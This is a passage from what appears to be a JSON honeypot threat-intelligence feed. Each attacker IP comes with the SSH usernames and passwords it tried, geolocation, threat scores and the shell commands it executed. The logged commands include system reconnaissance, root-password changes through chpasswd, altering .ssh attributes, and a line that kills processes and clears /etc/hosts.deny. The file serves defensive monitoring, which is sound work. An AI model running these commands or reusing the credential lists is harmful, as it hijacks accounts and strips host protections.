        "echo \"Bai123!\\ncMn7crn5Zezs\\ncMn7crn5Zezs\\n\"|passwd",
        "echo \"Joshua123!\\nWxliTRT03rmm\\nWxliTRT03rmm\\n\"|passwd",
        "echo \"root:tVdWCQ0jagu7\"|chpasswd|bash",
        "echo -e \"123456\\nqEHr23ebNv56\\nqEHr23ebNv56\"|passwd|bash",
        "echo -e \"Bai123!\\ncMn7crn5Zezs\\ncMn7crn5Zezs\"|passwd|bash",
        "echo -e \"Joshua123!\\nWxliTRT03rmm\\nWxliTRT03rmm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 411,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:10:12.601000+00:00",
        "last_seen_30d": "2026-03-26T07:45:19.198000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 56
      }
    },
    "152.42.203.0": {
      "attack_count": 317,
      "first_seen": "2026-03-10T05:46:26.543Z",
      "last_seen": "2026-03-10T07:38:27.655Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "apolo",
        "clawd",
        "sklep",
        "ubuntu",
        "admins",
        "certftp",
        "cliente",
        "david",
        "kipt",
        "linux",
        "mike",
        "nora",
        "sa",
        "t128",
        "teamspeak",
        "test1",
        "ts3",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "123456",
        "1qaz2wsx+",
        "Cliente123",
        "Password1",
        "Qwerty123",
        "admin123!",
        "admins123!",
        "apolo123!",
        "certftp1234",
        "clawd123",
        "david",
        "mike1234",
        "rootroot",
        "serverroot",
        "sklep123!",
        "t128123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"apolo123!\\nwcB0bczofeWw\\nwcB0bczofeWw\\n\"|passwd",
        "echo \"sklep123!\\nooYDfPVhOSdF\\nooYDfPVhOSdF\\n\"|passwd",
        "echo \"test123\\nrYyNuNVZ5TgB\\nrYyNuNVZ5TgB\\n\"|passwd",
        "echo -e \"apolo123!\\nwcB0bczofeWw\\nwcB0bczofeWw\"|passwd|bash",
        "echo -e \"sklep123!\\nooYDfPVhOSdF\\nooYDfPVhOSdF\"|passwd|bash",
        "echo -e \"test123\\nrYyNuNVZ5TgB\\nrYyNuNVZ5TgB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 381,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:46:26.543000+00:00",
        "last_seen_30d": "2026-03-10T07:39:29.235000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 64
      }
    },
    "45.169.200.254": {
      "attack_count": 281,
      "first_seen": "2026-03-15T08:19:39.479Z",
      "last_seen": "2026-03-26T17:24:06.971Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dockeradmin",
        "root",
        "k8s",
        "app",
        "dheeraj",
        "es_user",
        "omega",
        "qbtuser",
        "ravi",
        "simone",
        "support",
        "user1",
        "vyos"
      ],
      "passwords_attempted": [
        "12345678",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Ccjsj1200",
        "Password1!",
        "app123",
        "password",
        "simone123!",
        "support1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\njLqrjIlVDMo9\\njLqrjIlVDMo9\\n\"|passwd",
        "echo \"12345\\nnHneaawpUSV3\\nnHneaawpUSV3\\n\"|passwd",
        "echo \"root:Wnut5b141Ksr\"|chpasswd|bash",
        "echo -e \"12345678\\njLqrjIlVDMo9\\njLqrjIlVDMo9\"|passwd|bash",
        "echo -e \"12345\\nnHneaawpUSV3\\nnHneaawpUSV3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cariacica",
      "asn": 268137,
      "as_org": "Net Sini Fiber Home Telecomunicacao LTDA - me",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:19:39.479000+00:00",
        "last_seen_30d": "2026-03-26T17:25:11.360000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 49
      }
    },
    "116.110.218.219": {
      "attack_count": 247,
      "first_seen": "2026-03-21T11:32:15.426Z",
      "last_seen": "2026-03-21T11:46:15.684Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "123456",
        "ace",
        "ashish",
        "carol",
        "cf1c22",
        "cisco",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "help",
        "joro",
        "kelly",
        "library",
        "linaro",
        "master",
        "mms"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "0987654321",
        "111111",
        "12345",
        "P@ssw0rd",
        "ace",
        "admin1",
        "ashish",
        "calvin",
        "carol",
        "cf1c22",
        "cisco123",
        "db2inst2",
        "demo",
        "dubai",
        "joro",
        "kelly",
        "library",
        "linaro"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:32:15.426000+00:00",
        "last_seen_30d": "2026-03-21T11:47:20.295000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 103
      }
    },
    "103.226.139.139": {
      "attack_count": 242,
      "first_seen": "2026-03-10T08:49:01.218Z",
      "last_seen": "2026-03-30T11:26:44.093Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "azuracast",
        "cvs",
        "ghost",
        "linux",
        "root1",
        "testuser",
        "timemachine"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123456abc",
        "123456zZ",
        "2019.com.cn",
        "Aa123456!",
        "Abc123!!!",
        "Admin@1980",
        "Izhenqi(!@#)2026",
        "Password01@",
        "Qwert!2345",
        "Server2026",
        "cvs",
        "hengbing123",
        "pass",
        "qwer123.",
        "root1",
        "server123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nq2EJCH1yYpCR\\nq2EJCH1yYpCR\\n\"|passwd",
        "echo \"root:koNHjT2fhNF3\"|chpasswd|bash",
        "echo -e \"123456\\nq2EJCH1yYpCR\\nq2EJCH1yYpCR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:49:01.218000+00:00",
        "last_seen_30d": "2026-03-30T11:27:46.296000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 61
      }
    },
    "187.251.123.70": {
      "attack_count": 241,
      "first_seen": "2026-03-13T10:34:50.052Z",
      "last_seen": "2026-03-26T14:13:29.932Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "elaine",
        "ociispth",
        "planka",
        "root",
        "eddy",
        "jhpark",
        "kk",
        "leo",
        "ljd",
        "mgmt",
        "ruben",
        "saeed",
        "steamcmd",
        "tms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1324",
        "Eddy123",
        "Kk123!",
        "Tms123!",
        "jhpark123",
        "leo123",
        "ljd",
        "mgmtpass",
        "ociispth123!",
        "pass123",
        "password",
        "planka123!",
        "q2w3e4r5t6",
        "qwerty",
        "saeed123!",
        "steamcmdpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ociispth123!\\nuUHaVggBVeSU\\nuUHaVggBVeSU\\n\"|passwd",
        "echo \"planka123!\\ngTakjifAvSlp\\ngTakjifAvSlp\\n\"|passwd",
        "echo -e \"ociispth123!\\nuUHaVggBVeSU\\nuUHaVggBVeSU\"|passwd|bash",
        "echo -e \"planka123!\\ngTakjifAvSlp\\ngTakjifAvSlp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Iztapalapa",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:34:50.052000+00:00",
        "last_seen_30d": "2026-03-26T14:14:34.658000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 52
      }
    },
    "133.117.76.239": {
      "attack_count": 206,
      "first_seen": "2026-03-22T12:05:41.523Z",
      "last_seen": "2026-03-22T12:25:28.648Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "astra",
        "jun",
        "karim",
        "ann",
        "escaner",
        "ftpadmin",
        "pwserver",
        "rdpuser",
        "shoutcast",
        "simeon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Ftpadmin123",
        "Shoutcast123!",
        "escaner",
        "password",
        "pwserver",
        "simeonpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nqSlF6VeyHHhb\\nqSlF6VeyHHhb\\n\"|passwd",
        "echo \"1234\\ntZeWSLTJgrZn\\ntZeWSLTJgrZn\\n\"|passwd",
        "echo -e \"123456\\nqSlF6VeyHHhb\\nqSlF6VeyHHhb\"|passwd|bash",
        "echo -e \"1234\\ntZeWSLTJgrZn\\ntZeWSLTJgrZn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:05:41.523000+00:00",
        "last_seen_30d": "2026-03-22T12:26:29.388000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 36
      }
    },
    "123.48.142.249": {
      "attack_count": 197,
      "first_seen": "2026-03-03T01:36:37.709Z",
      "last_seen": "2026-03-03T02:06:33.242Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx123",
        "1221",
        "ASDasd123",
        "Lk@123456",
        "Qq123456789.",
        "ZAQ!xsw2CDE#",
        "abcd123.",
        "abcd123456",
        "l",
        "zaq1XSW@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nIXYjdqliMz1b\\nIXYjdqliMz1b\\n\"|passwd",
        "echo \"root:3rK9ZLFGk8kz\"|chpasswd|bash",
        "echo -e \"1233218613\\nIXYjdqliMz1b\\nIXYjdqliMz1b\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hamamatsu",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:36:37.709000+00:00",
        "last_seen_30d": "2026-03-03T02:07:42.634000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 38
      }
    },
    "27.112.78.223": {
      "attack_count": 178,
      "first_seen": "2026-03-18T00:25:13.288Z",
      "last_seen": "2026-03-18T00:54:06.439Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "issabel",
        "nodejs",
        "android",
        "astra",
        "bounce",
        "su",
        "trading",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "Android123",
        "Bounce123!",
        "Su123!",
        "astra",
        "issabel1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"issabel1234\\noJtRs5sorAJ9\\noJtRs5sorAJ9\\n\"|passwd",
        "echo \"password\\n7P8BtilDyRd8\\n7P8BtilDyRd8\\n\"|passwd",
        "echo -e \"issabel1234\\noJtRs5sorAJ9\\noJtRs5sorAJ9\"|passwd|bash",
        "echo -e \"password\\n7P8BtilDyRd8\\n7P8BtilDyRd8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T00:25:13.288000+00:00",
        "last_seen_30d": "2026-03-18T00:55:12.485000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 31
      }
    },
    "167.71.133.99": {
      "attack_count": 175,
      "first_seen": "2026-03-11T12:09:42.373Z",
      "last_seen": "2026-03-11T13:21:32.847Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "oneadmin",
        "admin",
        "ubuntu",
        "vyos",
        "erp",
        "vtiger",
        "Admin",
        "ERPNext",
        "administrator",
        "ansible",
        "apache",
        "crm",
        "debian",
        "fedora",
        "hrm",
        "metasfresh",
        "odoo",
        "ofbiz",
        "one",
        "postgres"
      ],
      "passwords_attempted": [
        "ofbiz",
        "admin",
        "admin123",
        "one",
        "!QAZ@WSX#EDC$RFV",
        "12345678",
        "ERPNext",
        "admin@123",
        "administrator",
        "ansible",
        "apache123",
        "crm",
        "debian",
        "doo",
        "erp",
        "erp@123",
        "fedora",
        "hrm",
        "metasfresh",
        "oneadmin"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:01:52.888000+00:00",
        "last_seen_30d": "2026-03-11T13:22:36.135000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 175,
        "Suricata": 83
      }
    },
    "176.202.44.164": {
      "attack_count": 173,
      "first_seen": "2026-03-29T19:50:56.090Z",
      "last_seen": "2026-03-29T21:07:19.522Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ2wsx3edc$RFV",
        "1125",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123!@#",
        "Asd@2024",
        "AsdQwe!23",
        "Newpassword@123",
        "P@55w0rd!",
        "Pl123456.",
        "Test12!@",
        "Yg12345678",
        "fjbdfdjkdsfs541544@@",
        "idrac123!@#",
        "marine",
        "professional",
        "qwer123@",
        "root10",
        "song1234",
        "tamere"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hAscgRDRUfiR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T19:50:56.090000+00:00",
        "last_seen_30d": "2026-03-29T21:08:20.197000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "95.24.25.97": {
      "attack_count": 171,
      "first_seen": "2026-03-04T12:25:16.779Z",
      "last_seen": "2026-03-04T12:35:51.182Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123abc,.",
        "1qazxsw2#EDCVFR$",
        "3245gs5662d34",
        "@Aa123456",
        "Bingo@1993",
        "Qwe123..",
        "keypos",
        "user123",
        "zxcvbnm@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Lnu9FvrOmUJj\"|chpasswd|bash",
        "echo \"root:VglB5ghkCtHf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8402,
      "as_org": "PVimpelCom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
